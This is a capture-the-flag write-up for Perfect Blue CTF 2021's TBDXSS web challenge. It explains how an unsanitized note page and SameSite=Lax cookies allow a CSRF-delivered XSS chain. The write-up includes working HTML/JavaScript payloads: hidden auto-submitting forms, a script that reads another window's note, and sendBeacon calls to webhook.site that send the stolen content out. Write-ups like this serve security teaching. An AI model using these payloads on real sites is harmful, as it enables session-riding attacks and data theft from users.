# Perfect Blue CTF 2021
## TBDXSS
Written by zup
> ```
> The TBD in the challenge name stands for ....
> ```
> https://tbdxss.chal.perfect.blue/
>
> ```
> PS: Flag is admin bot's note.
> ```
> **Author**: Jazzy
### TL;DR
- XSS in /note
- Make admin visit your own website and open the original note in another window
- Make admin open a third window with a submit form that submits a POST request to /change_note. Cookies will then be included. The XSS payload fetches the original note from the second window and sends it to your own controlled server.
### Writeup
We first started exploring the web app and read the source code. It looks like the source code is made out of two components; the Flask webserver and the bot.js program to simulate the admin user.
In the top menu you can "Get Note", "Change Note" and "Report Link".

By looking at the challenge name/description, source code and the "Report Link", we get a hint about this being an XSS challenge.
Let's look at the different endpoints.
#### Change Note
On the *Change Note* page, you can submit a note and the server will respond with a `Set-Cookie` header:
```
Set-Cookie: session=eyJub3RlIjoiYXNkZiEhISJ9.YWHVe.5LanpEbuSp3x0cJSUybemqXw9r; Secure; HttpOnly; Path=/; SameSite=Lax
```
In the source code, you can see that the web server specifically force cookies to be secure, HttpOnly and sets SameSite to lax:
```python
app.config.update(
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SAMESITE='Lax',
)
```
`HttpOnly` means that we cannot fetch the cookie using javascript. `SameSite=Lax` means that we cannot include cookies in cross site requests, unless the user navigates to the other page (submit forms will redirect the user to other sites, and will then include cookies).
The first part of the cookie actually contains the note that we submitted in `base64` format.
```
echo eyJub3RlIjoiYXNkZiEhISJ9 | base64 -d
```
```
{"note":"asdf!!!"}
```
This means that whenever you change your note, you also change your cookie. We also see that in the source code:
```python
@app.route('/change_note', methods=['POST'])
def add():
session['note'] = request.form['data']
session.modified = True
return "Changed succesfully"
```
#### Get Note
On the *Get Note* page, our note is shown to us. If we don't create a note before visiting this page, we get an error.

The source code reflects this behaviour:
```python
@app.route('/note')
def notes():
print(session)
return """
<body>
{}
</body>
""".format(session['note'])
```
It seems like this page fetches the note from the current session and display it inside of two "body" html-tags. There is no checks or sanitization of our note, so this does not look like a secure way of doing things...
#### Report Link
On the *Report Link* page, you can submit a URL for the admin (bot) to visit:

According to the description, the flag is located in the admin note. Our goal is to make the admin execute our javascript code to fetch this note.
#### XSS
Let's use a simple XSS-payload to check if this route is vulnerable. We can use the payload
```js
<sript>alert(1)</script>
```
as our note, which just displays an alert window.

After submitting this, we try to visit the `/note` page.

Great, it worked!
Now we must create a payload and test it on the admin bot, to see if that also works.
I created these two html files to test this:
> **stage1.html**
```html
<head></head>
<body>
<script>
let w = window.open("/stage2.html",'');
setTimeout(function(){w.close();done.submit()},3000);
</script>
<form style="display:none" name=done method=get action="https://tbdxss.chal.perfect.blue/note">
<input type=submit>
</form>
</body>
```
> **stage2.html**
```html
<head></head>
<body>
<form style="display:none" name=csrf method=post action="https://tbdxss.chal.perfect.blue/change_note">
<input name=data value="<script>navigator.sendBeacon('https://webhook.site/260a32a6-816e-4555-9f27-b2f698be53bf', 'test')</script>">
<input type=submit>
</form>
<script>csrf.submit()</script>
</body>
```
We hosted these files on our own webserver and tested them ourselves first.
If we visit `/stage1.html`, the browser opens up a new window to `/stage2.html` and waits 3 seconds until submitting the `done` form.
On `/stage2.html` it navigates us to `tbdxss.chal.perfect.blue/change_note` using a POST request to change our note into
```javascript
<script>navigator.sendBeacon('https://webhook.site/260a32a6-816e-4555-9f27-b2f698be53bf', 'test')</script>
```
which only sends the message `test` to our webhook.site (which display all of the requests it receives to us).
This worked perfectly find when we tried it ourselves, but somehow it did not work at all when reporting our URL to the bot.
If we take a closer look at the `bot.js` code we can see that the bot is only visiting our page until it has finished loading:
```javascript
try {
const resp = await page.goto(url, {
waitUntil: 'load',
timeout: 20 * 1000,
});
} catch (err){
console.log(err);
}
```
This means that the bot might somehow leave our page before our payload is done executing. I thought about adding something to the page to make it load slower, and eskildsen gave me the following tag: `<img src="https://coffee.wep.dk/slow.php">`
After adding this to the bottom of the pages and retrying, we got a request from the bot to our site.
Now we have a way to to change the admin note to an XSS payload, but how do we get the flag?
Since there are no mitigations against any XSS on this webpage, the real challenge would be to actually fetch the admin note. How can we fetch that note, if we first have to change the admin note to an XSS payload? This is a dilemma me (zup) and eskildsen struggled with for a long time.
Luckily, patriksletmo came to the rescue and suggested that we should make the admin first visit the `/note` page in another tab. That way we could change the note, and fetch the original note (read flag) from the other window. This works because windows with the same origin can access content from eachother.
He created the following files by slightly modifying some code eskildsen wrote earlier:
> **stage1.html**
```javascript
<body>
<img src='https://webhook.site/f523b6a5-b8a8-455c-af9e-1b721a522eb3/img-src-on-loader' />
<script>
const log = (m) => navigator.sendBeacon("https://webhook.site/f523b6a5-b8a8-455c-af9e-1b721a522eb3/", m.toString())
log("Stage 1 loading")
let w1 = window.open("https://tbdxss.chal.perfect.blue/note", "w1")
let w2 = window.open("submit-form.html")
setTimeout(() => {
window.location = "https://tbdxss.chal.perfect.blue/note"
}, 3000)
</script>
<img src='https://coffee.wep.dk/slow.php'>
</body>
```
> **submit-form.html**
```javascript
<body>
<form name=ff method=post action="https://tbdxss.chal.perfect.blue/change_note">
<textarea id=dd name=data>
<img src=x onerror="navigator.sendBeacon('https://webhook.site/fd466241-37bf-49d5-aa7f-31e4164d7b7b', window.open(undefined, 'w1').document.body.innerHTML)">
<img src="https://coffee.wep.dk/slow.php">
</textarea>
<input type=submit>
</form>
<script>
ff.submit()
</script>
<img src="https://coffee.wep.dk/slow.php">
</body>
```
Let's walk through what this code does:
1. Open up `https://tbdxss.chal.perfect.blue/note` in a new window (tab). The window is named w1, so that we can refer to it later.
2. Open up `/submit-form.html` in a second window.
3. Set a timeout. After 3 seconds the original window will redirect to the note page.
4. Meanwhile, the `/submit-form.html`-window will submit a form and change the note to the code inside of the `<textarea>` tag.
5. When the 3 seconds have passed, the admin will get redirected to the note page, and will execute `window.open(undefined, 'w1').document.body.innerHTML` which fetches the original note from the w1 window. This data will then be sent to our own webserver.
Note that we have include the slow tag at the bottom of the pages so that the bot will spend more time on our page before leaving.
Using this method we finally got the flag sent back to us!
Flag: `pbctf{g1t_m3_4_p4g3_r3f3r3nc3}`